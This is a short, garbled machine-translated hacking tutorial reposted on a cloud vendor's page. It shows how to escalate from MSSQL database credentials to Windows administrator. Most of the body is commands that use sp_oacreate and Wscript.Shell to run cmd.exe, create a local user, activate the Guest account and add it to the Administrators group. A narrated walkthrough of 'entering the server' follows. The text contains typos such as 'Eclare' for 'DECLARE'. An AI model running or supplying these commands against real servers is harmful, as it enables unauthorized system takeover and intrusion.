SQL Claim Demo

Source: Internet
Author: User

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall

SQL Claim Demo

First of all, I would like to give you a common command of SQL claim:
Driver={sql server};server= server ip;uid= user name; pwd= password; database= database name--connects the database.
Eclare @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c NET user New password add '--add new user.
DECLARE @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ SYSTEM32\CMD.EXE/C net localgroup Administrators new user add '--add user to Admin group

If the above add admin fails, we can try to activate guest.
Eclare @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c net user Guest/active:yes '--activating Guest user

DECLARE @shell int exec sp_oacreate ' Wscript.Shell ', @shell output exec sp_OAMethod @shell, ' run ', NULL, ' c:\windows\ system32\cmd.exe/c net localgroup Administrators guest/add '--add Guest to admin Group

Note: If C:\windows\system32\cmd.exe is deleted, do not have permission to access or access, we can upload a cmd up, and then the path to modify our upload of the cmd path on it.

Here's a demonstration of the entire SQL claim process:

The default Guest user password is a null disabled state!

Activate Guest user

The guest user was activated but not authorized, so we continue to add the guest user to the admin group!

Add Guest to Admin group

Successfully added the guest to the management group, successfully entered the server!

What can you do when you go in? I don't have to be long-winded to believe this.

Original source: http://www.flhacker.cn
Copyright-reprint must be linked to the form of the original source

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.